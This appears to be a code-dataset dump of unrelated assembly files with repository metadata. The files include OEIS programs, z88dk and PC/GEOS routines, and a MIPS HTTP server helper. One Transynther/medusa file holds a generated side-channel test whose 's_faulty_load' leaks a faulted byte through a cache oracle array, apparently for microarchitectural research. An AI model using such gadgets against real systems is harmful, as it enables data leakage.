33036,134499,135970,137449,138936,140431,141934,143445,144964,146491,148026,149569,151120,152679,154246,155821,157404,158995,160594,162201,163816,165439,167070,168709,170356,172011,173674,175345,177024,178711,180406 mul $0,8 mov $1,$0 add $1,54 mul $1,$0 div $1,16 add $1,39
147.2
1,254
0.804348
8a7d0dc382a00abb36cd5ed1f5934413d741d004
470
asm
Assembly
libsrc/fcntl/newbrain/readbyte.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/newbrain/readbyte.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/fcntl/newbrain/readbyte.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; Grundy Newbrain Specific libraries ; ; Stefano Bodrato - 30/05/2007 ; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; fcntl input function ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; int __LIB__ __FASTCALL__ readbyte(int handle); ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ; $Id: readbyte.asm,v 1.2 2015/01/22 12:09:57 stefano Exp $ ; PUBLIC readbyte EXTERN nb_getc .readbyte jp nb_getc
18.076923
61
0.412766
ef68ac1f9f7b862eee6c9ed89c29e7d78d22b0aa
8,294
asm
Assembly
Library/Text/TextRegion/trSmallDraw.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Text/TextRegion/trSmallDraw.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Text/TextRegion/trSmallDraw.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: trSmallDraw.asm AUTHOR: John Wedgwood, Dec 23, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- John 12/23/92 Initial revision DESCRIPTION: Code for helping draw. $Id: trSmallDraw.asm,v 1.1 97/04/07 11:21:51 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextDrawCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SmallEnumRegionsInClipRect %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Enumerate the regions in a clip rectangle. CALLED BY: TR_RegionEnumRegionsInClipRect PASS: *ds:si = Instance ds:di = Instance ss:bp = TextRegionEnumParameters w/ these set: TREP_flags TREP_callback TREP_region TREP_globalClipRect TREP_object RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 12/23/92 Initial version mg 03/31/00 Added check for null masks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SmallEnumRegionsInClipRect proc near class VisTextClass uses ax, bx, cx, dx .enter ; ; Get the clip-rectangle. This isn't as easy as it sounds. We have ; a gstate already, and it is possible (and even likely) that the ; gstate has been transformed in some way. We can't discard that ; transformation. In order to get the clip-rectangle bounds as ; relative to the object, we do the following: ; - Transform gstate for region 0 (only region) if it hasn't ; been done already ; - Get the clip-rectangle relative to the object ; - Adjust the clip-rectangle by adjusting it by the bounds ; of the object. ; ; This gets us a clip-rectangle which is relative to the origin ; for this object, rather than the object itself. ; ; ; Transform gstate ; CheckHack <mask DF_PRINT eq mask TCBF_PRINT> mov dl, ss:[bp].TREP_flags ; dl <- flags for transform clr cx call TR_RegionTransformGState ; Set up for region 0 (only one) ; ; Get clip-rectangle ; push ds, si, di ; Save instance mov di, ds:[di].VTI_gstate ; di <- gstate segmov ds, ss, si ; ds:si <- ptr to rect lea si, ss:[bp].TREP_globalClipRect call GrGetMaskBoundsDWord ; Get the mask bounds pop ds, si, di ; Restore instance jc nullPath ; Null path: all regions fail ; ; Compute the top/left of the object. ; clr ah ; ax <- left margin mov al, ds:[di].VTI_lrMargin add ax, ds:[di].VI_bounds.R_left ; ax <- left edge of object clr bh ; bx <- top margin mov bl, ds:[di].VTI_tbMargin add bx, ds:[di].VI_bounds.R_top ; bx <- top edge of object ; ; Adjust the clip-rectangle, left and right ; add ss:[bp].TREP_globalClipRect.RD_left.low, ax adc ss:[bp].TREP_globalClipRect.RD_left.high, 0 add ss:[bp].TREP_globalClipRect.RD_right.low, ax adc ss:[bp].TREP_globalClipRect.RD_right.high, 0 ; ; Adjust the clip-rectangle, top and bottom ; add ss:[bp].TREP_globalClipRect.RD_top.low, bx adc ss:[bp].TREP_globalClipRect.RD_top.high, 0 add ss:[bp].TREP_globalClipRect.RD_bottom.low, bx adc ss:[bp].TREP_globalClipRect.RD_bottom.high, 0 ; ; Set some values that don't exist for small objects... ; mov ss:[bp].TREP_displayMode, VLTDM_PAGE clr ss:[bp].TREP_regionSpacing clrdw ss:[bp].TREP_draftRegionSize.XYS_width clrdw ss:[bp].TREP_draftRegionSize.XYS_height ; ; All lines and characters are contained in a single region. ; clrdw ss:[bp].TREP_regionFirstLine movdw ss:[bp].TREP_regionLineCount, -1 clrdw ss:[bp].TREP_regionFirstChar movdw ss:[bp].TREP_regionCharCount, -1 ; ; Set the clipRect top/bottom to be relative to the object. ; movdw dxcx, ss:[bp].TREP_globalClipRect.RD_top sub cx, bx sbb dx, 0 movdw ss:[bp].TREP_clipRect.RD_top, dxcx movdw dxcx, ss:[bp].TREP_globalClipRect.RD_bottom sub cx, bx sbb dx, 0 movdw ss:[bp].TREP_clipRect.RD_bottom, dxcx ; ; Set the clipRect left/right to be relative to the object. ; movdw dxcx, ss:[bp].TREP_globalClipRect.RD_left sub cx, ax sbb dx, 0 movdw ss:[bp].TREP_clipRect.RD_left, dxcx movdw dxcx, ss:[bp].TREP_globalClipRect.RD_right sub cx, ax sbb dx, 0 movdw ss:[bp].TREP_clipRect.RD_right, dxcx ; ; Compute the width and height of a small region. ; ; ax = Left edge of region ; bx = Top edge of region ; neg ax ; ax <- width of region add ax, ds:[di].VI_bounds.R_right sub al, ds:[di].VTI_lrMargin sbb ah, 0 neg bx ; bx <- height of region add bx, ds:[di].VI_bounds.R_bottom sub bl, ds:[di].VTI_tbMargin sbb bh, 0 ; ; ax = Width of region, which is same as right edge ; bx = Height of region, which is same as bottom edge ; call CommonCheckRegionAndCallback nullPath: .leave ret SmallEnumRegionsInClipRect endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CommonCheckRegionAndCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check to see if a region falls in the clip-rect. CALLED BY: SmallEnumRegionsInClipRect, LargeEnumRegionsInClipRect PASS: ss:bp = TextRegionEnumParameters w/ these set: TREP_flags TREP_callback TREP_region TREP_clipRect TREP_object ax = Width of the region bx = Height of the region RETURN: TREP_regionHeight/Width set to passed values carry set to abort DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 12/23/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CommonCheckRegionAndCallback proc near uses ds, si .enter ; ; Save width and height ; mov ss:[bp].TREP_regionWidth, ax mov ss:[bp].TREP_regionHeight, bx ; ; We need to allow for the region spacing so that if the bottom of ; the region is obscured, but if the area between regions is displayed, ; we make a callback for this region so that the gap can be drawn. ; add bx, ss:[bp].TREP_regionSpacing ; ; The clip-rectangle is *not* relative to the object. This means that ; if the right or bottom edges of the clip-rect are negative, the ; region can't fall in the clip-rect. ; tst ss:[bp].TREP_clipRect.RD_right.high js quitContinue tst ss:[bp].TREP_clipRect.RD_bottom.high js quitContinue ; ; Check to see if the region falls in the bounds of the clip-rect ; ; ; If right edge of region is less than left of clip-rect, we can quit ; tst ss:[bp].TREP_clipRect.RD_left.high js checkBottom cmp ax, ss:[bp].TREP_clipRect.RD_left.low jbe quitContinue checkBottom: ; ; If bottom edge of region is less than top of clip-rect, we can quit ; tst ss:[bp].TREP_clipRect.RD_top.high js doCallback cmp bx, ss:[bp].TREP_clipRect.RD_top.low jbe quitContinue doCallback: ; ; It appears that the region does overlap the clip-rect, call ; the callback. ; ;if ERROR_CHECK ; ; If not vfptr check if the segment passed is same as current ; code segment. Since it is allowed to pass a fptr to the ; callback if you are calling from the same segment. ; ;FXIP< push ax, bx > ;FXIP< mov ax, ss:[bp].TREP_callback.segment > ;FXIP< cmp ah, 0xf0 > ;FXIP< jae isVirtual > ;FXIP< mov bx, cs > ;FXIP< cmp ax, bx > ;FXIP< ERROR_NE TEXT_FAR_POINTER_TO_MOVABLE_XIP_RESORCE > ;FXIP<isVirtual: > ;FXIP< pop ax, bx > ;endif movdw dssi, ss:[bp].TREP_object ; Reset instance ptr call ss:[bp].TREP_callback ; Call the callback... ; carry set if wants to abort quit: ;;; Carry set if callback wants to stop now .leave ret quitContinue: clc ; Signal: continue jmp quit CommonCheckRegionAndCallback endp TextDrawCode ends
26
79
0.632023
19581a53435126ef0e9df1adb448d15c80e55f26
6,217
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_512.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_512.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_512.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xd1ac, %rsi lea addresses_UC_ht+0x1cd0, %rdi nop nop nop nop nop inc %r12 mov $13, %rcx rep movsq nop cmp $20944, %rdx lea addresses_A_ht+0x1e3ac, %rbx nop nop nop nop nop cmp %r9, %r9 vmovups (%rbx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rcx nop nop nop nop nop and %rdx, %rdx lea addresses_WC_ht+0x2fcc, %r12 and $1671, %rdi movw $0x6162, (%r12) xor %rdx, %rdx lea addresses_D_ht+0x179ac, %r9 nop and %rdx, %rdx mov $0x6162636465666768, %rbx movq %rbx, %xmm6 vmovups %ymm6, (%r9) nop nop nop nop and %r9, %r9 lea addresses_D_ht+0x1b9ac, %rsi lea addresses_UC_ht+0x128ba, %rdi nop nop nop add $59638, %r15 mov $126, %rcx rep movsw nop nop nop cmp %rcx, %rcx lea addresses_UC_ht+0x8c6c, %rsi lea addresses_A_ht+0x14a4c, %rdi nop nop nop nop and $36341, %r9 mov $39, %rcx rep movsq nop nop cmp %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r8 push %r9 push %rax push %rdx // Load lea addresses_US+0xe9ac, %r12 nop nop nop nop nop xor %r8, %r8 movb (%r12), %r13b nop nop and %r12, %r12 // Store lea addresses_US+0xd5ac, %r13 nop xor %rax, %rax movb $0x51, (%r13) nop nop nop nop xor $18703, %r8 // Store lea addresses_A+0x492c, %rax xor %r13, %r13 movl $0x51525354, (%rax) nop nop sub %r12, %r12 // Faulty Load lea addresses_normal+0x31ac, %r11 nop sub %r13, %r13 movb (%r11), %r9b lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rdx pop %rax pop %r9 pop %r8 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
37.227545
2,999
0.656265
39b18ed58202be60a74ed1f56687a8de0839b586
498
asm
Assembly
programs/oeis/106/A106839.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/106/A106839.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/106/A106839.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A106839: Numbers congruent to 11 mod 16. ; 11,27,43,59,75,91,107,123,139,155,171,187,203,219,235,251,267,283,299,315,331,347,363,379,395,411,427,443,459,475,491,507,523,539,555,571,587,603,619,635,651,667,683,699,715,731,747,763,779,795,811,827,843,859,875,891,907,923,939,955,971,987,1003,1019,1035,1051,1067,1083,1099,1115,1131,1147,1163,1179,1195,1211,1227,1243,1259,1275,1291,1307,1323,1339,1355,1371,1387,1403,1419,1435,1451,1467,1483,1499,1515,1531,1547,1563,1579,1595 mul $0,16 add $0,11
83
433
0.75502
1479f272516392e79cfbf8c00ffa4d192e2e644e
458
asm
Assembly
programs/oeis/248/A248231.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/248/A248231.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/248/A248231.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A248231: Least k such that zeta(5) - sum{1/h^5, h = 1..k} < 1/n^4. ; 1,1,2,3,3,4,5,6,6,7,8,8,9,10,11,11,12,13,13,14,15,16,16,17,18,18,19,20,20,21,22,23,23,24,25,25,26,27,28,28,29,30,30,31,32,33,33,34,35,35,36,37,37,38,39,40,40,41,42,42,43,44,45,45,46,47,47,48,49,49,50,51,52,52,53,54,54,55,56,57,57,58,59,59,60,61,62,62,63,64,64,65,66,66,67,68,69,69,70,71 add $0,1 pow $0,2 sub $0,3 div $0,4 seq $0,2024 ; n appears n times; a(n) = floor(sqrt(2n) + 1/2).
50.888889
288
0.615721
1f4c169e758a2b9a3c938b276f5257993cdb1a0d
142
asm
Assembly
libsrc/_DEVELOPMENT/l/z80/l_fast_ldir.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/z80/l_fast_ldir.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/z80/l_fast_ldir.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_l PUBLIC l_fast_ldir loop: ldi ldi ldi ldi ldi ldi ldi ldi jp pe, loop l_fast_ldir: ret
6.173913
18
0.56338
e27705cd4e83332fc3030ca18b63d7529b949a94
624
asm
Assembly
examples/fib3.asm
shockkolate/shk-asm
8db629519929eb03e852de0e85b98d879610a133
[ "Apache-2.0" ]
null
null
null
examples/fib3.asm
shockkolate/shk-asm
8db629519929eb03e852de0e85b98d879610a133
[ "Apache-2.0" ]
null
null
null
examples/fib3.asm
shockkolate/shk-asm
8db629519929eb03e852de0e85b98d879610a133
[ "Apache-2.0" ]
null
null
null
fib: CMP $10, $0, #1 BRA fib.end, !LE $10 fib.main: MOV $0, $10 CMP $10, $0, #1 PSH $10 CAL fib MOV $10, $0 POP $0 PSH $10 CAL fib POP $10 ADD $0, $0, $10 fib.end: RET fib_str: DAT #0, #0, #0, #0, #0, #0 in_str: DAT #105, #110, #32, #61, #32, #0 out_str: DAT #111, #117, #116, #32, #61, #32, #0 main: main.loop: MOV $0, in_str CAL puts CAL getc CMP $0, $0, #48 CAL fib LOD $100, #1:#0 ; skip newline MOV $1, fib_str CAL itoa MOV $0, out_str CAL puts MOV $0, fib_str CAL puts MOV $0, #10 CAL putc ;CAL getc ; skip newline BRA main.loop main.end: RET
12.48
48
0.535256
b1e661697174e5029ffb97cdf732b746fb96839d
1,371
asm
Assembly
programs/oeis/216/A216097.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/216/A216097.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/216/A216097.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A216097: 3^n mod 10000. ; 1,3,9,27,81,243,729,2187,6561,9683,9049,7147,1441,4323,2969,8907,6721,163,489,1467,4401,3203,9609,8827,6481,9443,8329,4987,4961,4883,4649,3947,1841,5523,6569,9707,9121,7363,2089,6267,8801,6403,9209,7627,2881,8643,5929,7787,3361,83,249,747,2241,6723,169,507,1521,4563,3689,1067,3201,9603,8809,6427,9281,7843,3529,587,1761,5283,5849,7547,2641,7923,3769,1307,3921,1763,5289,5867,7601,2803,8409,5227,5681,7043,1129,3387,161,483,1449,4347,3041,9123,7369,2107,6321,8963,6889,667,2001,6003,8009,4027,2081,6243,8729,6187,8561,5683,7049,1147,3441,323,969,2907,8721,6163,8489,5467,6401,9203,7609,2827,8481,5443,6329,8987,6961,883,2649,7947,3841,1523,4569,3707,1121,3363,89,267,801,2403,7209,1627,4881,4643,3929,1787,5361,6083,8249,4747,4241,2723,8169,4507,3521,563,1689,5067,5201,5603,6809,427,1281,3843,1529,4587,3761,1283,3849,1547,4641,3923,1769,5307,5921,7763,3289,9867,9601,8803,6409,9227,7681,3043,9129,7387,2161,6483,9449,8347,5041,5123,5369,6107,8321,4963,4889,4667,4001,2003,6009,8027,4081,2243,6729,187,561,1683,5049,5147,5441,6323,8969,6907,721,2163,6489,9467,8401,5203,5609,6827,481,1443,4329,2987,8961,6883,649,1947,5841,7523,2569,7707,3121,9363,8089,4267,2801,8403,5209,5627,6881,643,1929,5787,7361,2083 mov $2,$0 mov $0,1 mov $3,10000 lpb $2,1 mul $0,3 mod $0,$3 sub $2,1 lpe add $0,1 mov $1,$0 sub $1,2 div $1,2 mul $1,2 add $1,1
76.166667
1,209
0.763676
e0fd5081f7c254c58a603a81af5c64c0172c95f9
304
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_write_block_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_write_block_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_write_block_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; size_t b_array_write_block(void *src, size_t n, b_array_t *a, size_t idx) SECTION code_adt_b_array PUBLIC b_array_write_block_callee b_array_write_block_callee: pop af pop bc pop hl pop de exx pop hl exx push af INCLUDE "adt/b_array/z80/asm_b_array_write_block.asm"
15.2
75
0.730263
ed0c6928f1ba8241df6289ab8fe6bbed1382aab3
2,876
asm
Assembly
mips/http-responses.asm
brenns10/yams
21b2edc3c1825f6b5264570b9791adf7dad60b4b
[ "BSD-3-Clause" ]
17
2015-05-01T18:34:35.000Z
2021-04-28T10:05:54.000Z
mips/http-responses.asm
brenns10/yams
21b2edc3c1825f6b5264570b9791adf7dad60b4b
[ "BSD-3-Clause" ]
4
2015-05-01T18:47:36.000Z
2016-04-20T13:08:26.000Z
mips/http-responses.asm
brenns10/yams
21b2edc3c1825f6b5264570b9791adf7dad60b4b
[ "BSD-3-Clause" ]
3
2016-04-19T16:01:45.000Z
2021-07-04T00:33:55.000Z
### # File: http-responses.asm # # Craft HTTP responses based on the request # # Main methods include return_200, return_400, return_404, return_405 # They are used for constructing the headers for the respective HTTP # responses. # # Standard response headers include Server: yams and Connection: close # # None of these methods take any parameters, and all of them return the # address of the response buffer in $v0. ### .eqv HTTP_OK 200 .eqv HTTP_BAD_REQUEST 400 .eqv HTTP_NOT_FOUND 404 .eqv HTTP_METHOD_NAME_NOT_ALLOWED 405 .eqv HTTP_INTERNAL_SERVER_ERROR 500 .eqv RESP_BUFF_SIZE 2048 .data http_protocol: .asciiz "HTTP/1.1 " http_ok: .asciiz "200 OK\r\n" http_moved_permanently: .asciiz "301 MOVED PERMANENTLY\r\n" http_bad_request: .asciiz "400 BAD REQUEST\r\n" http_not_found: .asciiz "404 NOT FOUND\r\n" http_method_name_not_allowed: .asciiz "405 METHOD NAME NOT ALLOWED\r\n" http_internal_server_error: .asciiz "500 INTERNAL SERVER ERROR\r\n" http_insufficient_storage: .asciiz "507 INSUFFICIENT STORAGE\r\n" standard_headers: .asciiz "Connection: Close\r\nServer: yams\r\n\r\n" resp_buff: .byte 0:RESP_BUFF_SIZE .text # return_404: Constructs a 404 response in a buffer to be used in the main loop. # Parameters: # None # Returns: # $v0: filled response buffer return_404: push($ra) la $a0, http_protocol la $a1, http_not_found la $a2, resp_buff jal strcat print(resp_buff) print(ln) la $a0, resp_buff la $a1, standard_headers la $a2, resp_buff # redundant, but here for clarity jal strcat print(resp_buff) print(ln) j _return_resp # return_200: Constructs a 200 response in a buffer to be used in the main loop. # The response buffer contains just the headers; the main loop is resonsible for file chunking. # Parameters: # None # Returns: # $v0: filled response buffer return_200: push($ra) la $a0, http_protocol la $a1, http_ok la $a2, resp_buff jal strcat la $a0, resp_buff la $a1, standard_headers la $a2, resp_buff jal strcat j _return_resp # return_method_name_not_allowed: Constructs a 405 response in a buffer to be used in the main loop. # Parameters: # None # Returns: # $v0: filled response buffer return_method_name_not_allowed: push($ra) la $a0, http_protocol la $a1, http_method_name_not_allowed la $a2, resp_buff jal strcat la $a0, resp_buff la $a1, standard_headers la $a2, resp_buff jal strcat j _return_resp # return_bad_request: Consructs a 400 response in a buffer to be used in the main loop. # Parameters: # None # Returns: # $v0: filled response buffer return_bad_request: push($ra) la $a0, http_protocol la $a1, http_bad_request la $a2, resp_buff jal strcat la $a0, resp_buff la $a1, standard_headers la $a2, resp_buff jal strcat # All functions return in the same way, so return is done here _return_resp: pop($ra) la $v0, resp_buff jr $ra
21.62406
101
0.747218
9abe341060fcb5f641e3f19ee13c6914948f273f
2,254
asm
Assembly
programs/oeis/170/A170786.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
